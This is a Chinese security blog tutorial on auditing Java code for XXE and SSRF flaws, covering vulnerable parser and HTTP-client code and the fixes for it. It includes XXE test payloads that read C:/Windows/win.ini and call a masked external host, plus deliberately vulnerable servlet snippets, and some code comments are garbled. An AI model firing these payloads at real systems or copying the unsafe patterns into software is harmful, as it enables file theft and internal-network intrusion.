登录

JAVA代码审计之XXE与SSRF

皮皮鲁 / 2018-09-19 00:22:44 / 浏览数 5042 技术文章 技术文章 顶(0) 踩(0)

一、XXE

0x01 XXE漏洞简介

XXE（XML外部实体注入，XML External Entity)
，在应用程序解析XML输入时，当允许引用外部实体时，可构造恶意内容，导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。J
里的所有协议：http，https，file，ftp，mailto，jar，netdoc。一般利用file协议读取文件，利用http协议探测内网，没有回显时可组合利用file协议和ftp协议来读取文件。

0x02 XXE相关基础概念

XML&DTD

XML（可扩展标记语言，EXtensible Markup Language），是一种标记语言，用来传输和存储数据，而非显示数据。
DTD（文档类型定义，Document Type Definition）的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

实体ENTITY

XML中的实体类型，一般有下面几种：字符实体、命名实体（或内部实体）、外部普通实体、外部参数实体。除外部参数实体外，其它实体都以字符（&）开始，以字符（;

1)字符实体

字符实体类似html中的实体编码，形如：a（十进制）或者a（十六进制）。

2)命名实体（内部实体）

内部实体又称为命名实体。命名实体可以说成是变量声明，命名实体只能声明在DTD或者XML文件开始部分（<!DOCTYPE>语句中）。
命名实体（或内部实体）语法：
<!ENTITY ■■■■ "■■■■">
如：

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
   <!ENTITY x "First Param!">
   <!ENTITY y "Second Param!">
]>
<root><x>&x;</x><y>&y;</y></root>
```

定义一个实体名称x 值为First Param!
&x; 引用实体x

3)外部普通实体

外部实体用于加载外部文件的内容。（显式XXE攻击主要利用外部普通实体）
外部普通实体语法：
<!ENTITY ■■■■ SYSTEM "URI/URL">
如：

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
   <!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>
```

4)外部参数实体

参数实体用于DTD和文档的内部子集中。与一般实体不同，是以字符（%）开始，以字符（;）结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。（Blind XXE攻击常利用参数实体进行数据回显）

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
   <!ENTITY % param1 "Hello">
   <!ENTITY % param2 " ">
   <!ENTITY % param3 "World">
   <!ENTITY dtd SYSTEM "combine.dtd">
   %dtd;
]>
```

```
<root><foo>&content</foo></root>
```

combine.dtd中的内容为：

```
<!ENTITY content "%param1;%param2;%param3;">
```

上面combine.dtd中定义了一个基本实体，引用了3个参数实体：%param1;，%param2;，%param3;。
解析后<foo>...</foo>中的内容为Hello World。

0x03 XXE审计函数

XML解析一般在导入配置、数据传输接口等场景可能会用到，涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体，从而判断是否存在XXE。部分XML解析接口

```
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
.....
```

0x04 常用测试POC

POC1-外部普通实体

当有回显时，利用ftp协议来读取文件

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>
```

POC2-外部参数实体

无回显时 利用http协议来发起请求

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY % lltest SYSTEM "http://***.***.***.***:7777/lltest_xxe666">
%lltest;
]>
```

0X05 XXE漏洞代码示例

解析XML的方法越来越多，常见有四种，即：DOM、DOM4J、JDOM 和SAX。下面以这四种为例展示XXE漏洞。

1) DOM Read XML

```
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
       String result="";
       try {
           //DOM Read XML
           DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
           DocumentBuilder db = dbf.newDocumentBuilder();
           Document doc = db.parse(request.getInputStream());

           String username = getValueByTagName(doc,"username");
           String password = getValueByTagName(doc,"password");
           if(username.equals(USERNAME) && password.equals(PASSWORD)){
               result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
           }else{
               result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
```

```
            }
        } catch (ParserConfigurationException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        } catch (SAXException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }
```

2) DOM4J Read XML

```
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String result="";
        try {
            //DOM4J Read XML
            SAXReader saxReader = new SAXReader();
            Document document = saxReader.read(request.getInputStream());

            String username = getValueByTagName2(document,"username");
            String password = getValueByTagName2(document,"password");

            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }

        } catch (DocumentException  e) {
            System.out.println(e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }
```

3) JDOM2 Read XML

```
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String result="";
        try {
            //JDOM2 Read XML
            SAXBuilder builder = new SAXBuilder();
            Document document = builder.build(request.getInputStream());

            String username = getValueByTagName3(document,"username");
            String password = getValueByTagName3(document,"password");

            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }

        } catch (JDOMException  e) {
            System.out.println(e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }
```

4) SAX Read XML

```
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        //https://blog.csdn.net/u011024652/article/details/51516220
        String result="";
        try {
            //SAX Read XML
            SAXParserFactory factory  = SAXParserFactory.newInstance();
```

```
            SAXParser saxparser = factory.newSAXParser();
            SAXHandler handler = new SAXHandler();
            saxparser.parse(request.getInputStream(), handler);
            //■■■■■■■■■■■■■■■■■■■■■parse()■■xml■■■■■■xxe■■■
            //■■■■■  blind xxe
             result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1);

        } catch (ParserConfigurationException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        } catch (SAXException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }
```

0x06 XXE漏洞防御

使用XML解析器时需要设置其属性，禁用DTDs或者禁止使用外部实体。

以上例中DOM - DocumentBuilderFactory为例，防御代码如下:

```
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //■■DTDs (doctypes),■■■■■■■■xml■■■■
//■■■■■■■DTDs,■■■■■■■■■■■■■■■■■■
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);      //■■■■■■■■■POC ■■
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);   //■■■■■■■■■POC■■
```

```
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    String result="";
    try {
        //DOM Read XML
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

        /*以下为修复代码*/
        //https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

        //禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //首选

        //如果不能禁用DTDs,可以使用下两项，必须两项同时存在
        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);      //防止外部实体POC
        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);    //防止参数实体POC
        /*以上为修复代码*/

        DocumentBuilder db = dbf.newDocumentBuilder();
        Document doc = db.parse(request.getInputStream());

        String username = getValueByTagName(doc,"username");
        String password = getValueByTagName(doc,"password");
        if(username.equals(USERNAME) && password.equals(PASSWORD)){
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
        }else{
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
        }
    } catch (ParserConfigurationException e) {
        e.printStackTrace();
```

其它XML解析器的漏洞防御可参考
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

上述XXE漏洞与防御完整示例代码 已上传Github 详见 https://github.com/pplsec/JavaVul/tree/master/MyXXE

二、SSRF

0x01 SSRF漏洞简介

SSRF(Server-Side Request Forge,
服务端请求伪造)，攻击者让服务端发起指定的请求，SSRF攻击的目标一般是从外网无法访问的内网系统。Java中的SSRF支持sun.net.www.protocol
里的所有协议:http，https，file，ftp，mailto，jar，netdoc。相对于php，在java中SSRF的利用局限较大，一般利用http协议来探测端口，利用file协议读取任意文件。

0x02 SSRF审计函数

SSRF漏洞一般位于远程图片加载与下载、图片或文章收藏功能、URL分享、通过URL在线翻译、转码等功能点处。
代码审计时需要关注的发起HTTP请求的类及函数，部分如下：

```
HttpURLConnection. getInputStream
URLConnection. getInputStream
Request.Get. execute
Request.Post. execute
URL.openStream
ImageIO.read
OkHttpClient.newCall.execute
HttpClients. execute
HttpClient.execute
……
```

0x03 SSRF漏洞代码示例

1) HttpURLConnection

```
//HttpURLConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //■■■■,■■■■
String inputLine;
StringBuffer html = new StringBuffer();

while ((inputLine = in.readLine()) != null) {
        html.append(inputLine);
       }
System.out.println("html:" + html.toString());
in.close();
```

2) urlConnection

```
//urlConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //■■■■,■■■■
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
    html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();
```

3) ImageIO

```
// ImageIO ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // ■■■■,■■■■
```

4) 其他

```
// Request■■■■
String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString();//■■■■

// openStream■■■■
String url = request.getParameter("url");
URL u = new URL(url);
inputStream = u.openStream();  //■■■■


// OkHttpClient■■■■
String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
```

```
client.newCall(ok_http).execute();  //■■■■

// HttpClients■■■■
String url = request.getParameter("url");
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); //■■■■
```

0x04 SSRF漏洞防御

1）限制协议为HTTP、HTTPS协议。
2）禁止30x跳转。
3）设置URL白名单或者限制内网IP。
4）限制请求的端口为http常用的端口。

以上例中HttpURLConnection为例，防御代码如下:

```
String url = request.getParameter("url");
if (!SSRFHostCheck(url)) {
       System.out.println("warning!!! illegal url:" + url);
        return;
}
URL u = new URL(url);

URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;

httpUrl.setInstanceFollowRedirects(false); //■■30x■■

BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
……


public static Boolean SSRFHostCheck(String url) {
   try {
      URL u = new URL(url);
      // ■■■http■https■■
          if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
          String uProtocol = u.getProtocol();
          System.out.println("illegal Protocol:" + uProtocol);
          return  false;
        }

         // ■■■■■IP■■■■■■
         String host = u.getHost().toLowerCase();
         String hostwhitelist = "192.168.199.209";     //■■■
         if (host.equals(hostwhitelist)) {
          System.out.println("ok_host:" + host);
          return true;
          } else {
           System.out.println("illegal host:" + host);
           return false;
         }
       } catch (Exception e) {
           return false;
       }
   }
```

上述SSRF漏洞与防御完整示例代码 已上传Github 详见 https://github.com/pplsec/JavaVul/tree/master/MySSRF

参考

https://xz.aliyun.com/t/1633
http://rickgray.me/2015/06/08/xml-entity-attack-review/
https://github.com/c0ny1/xxe-lab/blob/master/java_xxe/src/me/gv7/xxe/LoginServlet.java
https://joychou.org/java/javassrf.html
https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java

点击收藏 | 0 关注 | 1

上一篇：递归神经网络（RNNs）的奥秘 下一篇：windows进程注入技术之控制台窗口类

1. 0 条回复
   - 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板